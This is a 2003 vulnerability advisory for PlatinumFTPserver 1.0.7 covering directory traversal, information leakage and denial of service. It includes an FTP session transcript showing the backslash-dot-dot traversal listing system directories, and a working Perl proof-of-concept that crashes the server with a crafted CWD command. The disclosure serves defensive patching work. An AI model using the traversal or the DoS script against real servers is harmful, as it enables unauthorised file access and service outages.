Multiple vulnerabilities found in PlatinumFTPserver V1.0.7

[matrix () infowarfare dk]

                   Multiple vulnerabilities found in 
                        PlatinumFTPserver V1.0.7
                 PlatinumFTPserver (C)2002 BYTE/400 LTD
                                        
                      Discovered by Dennis Rand
                      http://www.infowarfare.dk
------------------------------------------------------------------------


SUMMARY
PlatinumFTPserver simplifies management of all your Ftp clients with regards 
to sending and receiving program and data files over an IP connection. 
Working within a control screen, PlatinumFTPserver gives you total 
control: you can create and manage users, user groups and root directories. 
You can define what Ftp Commands the users or groups can access. 
PlatinumFTPserver provides activity logs, client connection details, file 
and megabyte graphical statistics by session and day, virtual folders and a 
built in Web Browser. The server engine runs as an application on Windows 9x 
and a service under NT/2K/XP.
PlatinumFTPserver can bind to one or all IP addresses within the PC. All 
configuration data for the server including password and description fields 
are encrypted using the powerful Blowfish cipher. Clients can request files 
be zipped before transfer, execute scripts created with the VBscript editor 
and also access the shell process.

A vulnerability in the product allows remote attackers to cause 
the server to traverse into directories that reside outside the bounding 
FTP root directory. Another vulnerability is that it is possible to preform 
a DoS attack on the server.
The server also sends out to many information, the size of the harddrive
the login location is located and the server time, this is all "harmeless"
information but it can be used in an attack.

DETAILS

Vulnerable systems:
 * PlatinumFTPServer version 1.0.7
   

Immune systems:
 * PlatinumFTPServer version 1.0.8

PlatinumFTP failure to filter out "\.." sequences in command requests allows 
remote users to break out of restricted directories and gain read access 
to the system directory structure; Possibility for deleting files and 
preforming
a DoS attack on the server. Revealing information about the server 

The following transcript demonstrates a sample exploitation of the 
vulnerabilities:

Connected to 192.168.1.199.
220-PlatinumFTPserver V1.0.7
220-PlatinumFTPserver (C)2002 BYTE/400 LTD
220-
220 Enter login details
User (192.168.1.199:(none)): anonymous
331 Password required for anonymous.
Password:
230-Send comments to support () PlatinumFTP com
230-Date 24-01-03, Time 14:28:08. <===== Server time and date
230 Storage available 1.558.704.640 Bytes. <===== Here you can see how much 
server space there are located.
ftp> dir
200 PORT command successful
150 Opening ASCII mode data connection for /bin/ls.
226 Listing complete.
ftp> ls
200 PORT command successful
150 Opening ASCII mode data connection for /bin/ls.
226 Listing complete.
ftp> cd ..
550 Access denied
ftp> cd ...
550 Access denied
ftp> cd /
250 CWD command successful.
ftp> ls
200 PORT command successful
150 Opening ASCII mode data connection for /bin/ls.
226 Listing complete.
ftp> cd /../../../
500 ../ reference not allowed for security reasons.
ftp> cd \..\..\..\
550 Access denied
ftp> dir /../../../
200 PORT command successful
500 ../ reference not allowed for security reasons.
ftp> dir \..\..\..\..\..\
200 PORT command successful
150 Opening ASCII mode data connection for /bin/ls.
-rwxr-xr-x  1 User     Group              0 Dec 23 12:17 AUTOEXEC.BAT
-rwxr-xr-x  1 User     Group            278 Jan 18 08:49 boot.ini
-rwxr-xr-x  1 User     Group              0 Dec 23 12:17 CONFIG.SYS
drwxr-xr-x  1 User     Group              0 Dec 23 12:25 I386
drwxr-xr-x  1 User     Group              0 Dec 23 22:22 Inetpub
drwxr-xr-x  1 User     Group              0 Dec 23 21:49 Installationsfiler 
til Windows Update
-rwxr-xr-x  1 User     Group              0 Dec 23 12:17 IO.SYS
-rwxr-xr-x  1 User     Group              0 Dec 23 12:17 MSDOS.SYS
drwxr-xr-x  1 User     Group              0 Dec 23 21:25 Multimedia Files
-rwxr-xr-x  1 User     Group          26816 Dec 23 22:30 NTDETECT.COM
-rwxr-xr-x  1 User     Group         156496 Dec 23 22:30 ntldr
drwxr-xr-x  1 User     Group              0 Dec 23 12:36 OptionPack
-rwxr-xr-x  1 User     Group      524288000 Jan 24 14:27 pagefile.sys
drwxr-xr-x  1 User     Group              0 Jan 24 14:01 Program Files
drwxr-xr-x  1 User     Group              0 Dec 23 12:24 RECYCLER
drwxr-xr-x  1 User     Group              0 Jan 24 14:09 TEMP
drwxr-xr-x  1 User     Group              0 Jan 24 14:28 WINNT
226 Listing complete.
ftp: 1181 bytes received in 0,02Seconds 59,05Kbytes/sec.
ftp> debug
Debugging On .
ftp> mkdir \..\..\..\sm00
---> XMKD \..\..\..\sm00
257 \..\..\..\sm00 directory created
ftp> dir \..\..\
---> PORT 192,168,1,21,18,161
200 PORT command successful
---> LIST \..\..\
150 Opening ASCII mode data connection for /bin/ls.
drwxr-xr-x  1 User     Group              0 Jan 24 14:09 PlatinumFTPserver
226 Listing complete.
ftp: 76 bytes received in 0,01Seconds 7,60Kbytes/sec.
ftp> dir \..\..\..\
---> PORT 192,168,1,21,18,162
200 PORT command successful
---> LIST \..\..\..\
150 Opening ASCII mode data connection for /bin/ls.
drwxr-xr-x  1 User     Group              0 Jan 24 14:01 BYTE400
drwxr-xr-x  1 User     Group              0 Dec 23 21:25 Common Files
drwxr-xr-x  1 User     Group              0 Dec 23 23:32 EuroTool
drwxr-xr-x  1 User     Group              0 Dec 23 21:28 ICW-Internet 
Connection Wizard
drwxr-xr-x  1 User     Group              0 Dec 23 22:11 MarkVis
drwxr-xr-x  1 User     Group              0 Dec 23 22:31 Mts
drwxr-xr-x  1 User     Group              0 Dec 23 21:28 Outlook Express
drwxr-xr-x  1 User     Group              0 Dec 23 12:17 Plus!
drwxr-xr-x  1 User     Group              0 Jan 24 15:01 sm00
drwxr-xr-x  1 User     Group              0 Dec 23 21:24 Uninstall Information
drwxr-xr-x  1 User     Group              0 Dec 23 21:10 VMware
drwxr-xr-x  1 User     Group              0 Dec 23 22:44 Windows NT
drwxr-xr-x  1 User     Group              0 Dec 23 23:44 WindowsUpdate
drwxr-xr-x  1 User     Group              0 Jan 18 08:38 WinRAR
226 Listing complete.
ftp: 973 bytes received in 0,09Seconds 10,93Kbytes/sec.
ftp> bye
221 Goodbye.

Exploit code for DoS attack:
------------------------------------- CUT HERE --------------------------------
---------
#!/usr/bin/perl
#
# PlatinumFTPserver V1.0.7 DoS attack
# http://www.PlatinumFTP.com
# Dennis Rand - Matrix () infowarfare dk
#
# When this exploit has been used, the server has to be restarted, if the FTPd 
is
# just killed and then restarted the CPU will go to 100% again
# ----------------------------------------------------------
# Disclaimer: this file is intended as proof of concept, and
# is not intended to be used for illegal purposes. I accept
# no responsibility for damage incurred by the use of it.
# ----------------------------------------------------------
#
# 
#
use Net::FTP;

    
$target = shift() || die "usage: target ip";
my $user = "anonymous";
my $pass = "crash\@burn.com";

system('cls');
print "PlatinumFTPserver V1.0.7 DoS attack\n";
print "Trying to connect to target system at: $target...\n";
$ftp = Net::FTP->new($target, Debug => 1, Port => 21) || die "could not 
connect: $!";
$ftp->login($user, $pass) || die "could not login: $!";
$ftp->cwd("/");

print "The FTP service now uses 100% CPU on the server...\n";
$ftp->cwd("cd @/..@/..");
$ftp->quit;

------------------------------------- CUT HERE --------------------------------
---------



Detection:
PlatinumFTPServer version 1.0.7 is vulnerable to the above-described attacks. 
Earlier versions may be susceptible as well. To determine if a specific 
implementation is vulnerable, experiment by following the above 
transcript. 

Vendor response:
This security issues has now been fixed in version 1.0.8 and can be 
downloaded from www.platinumftp.com/updates/platinumftpserver.exe
Regards
Chris Fitzsimons
BYTE400 Technical Support




Disclosure timeline:
24/01/2003 Found the Vulnerability.
24/01/2003 Vendor mail at Bugs () platinumftp com
27/01/2003 Recived response from vendor that the problem is fixed
27/01/2003 Public Disclosure.


ADDITIONAL INFORMATION
The vulnerability was discovered by <mailto:matrix () infowarfare dk> Dennis Rand

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, 
incidental, consequential, loss of business profits or special damages. 

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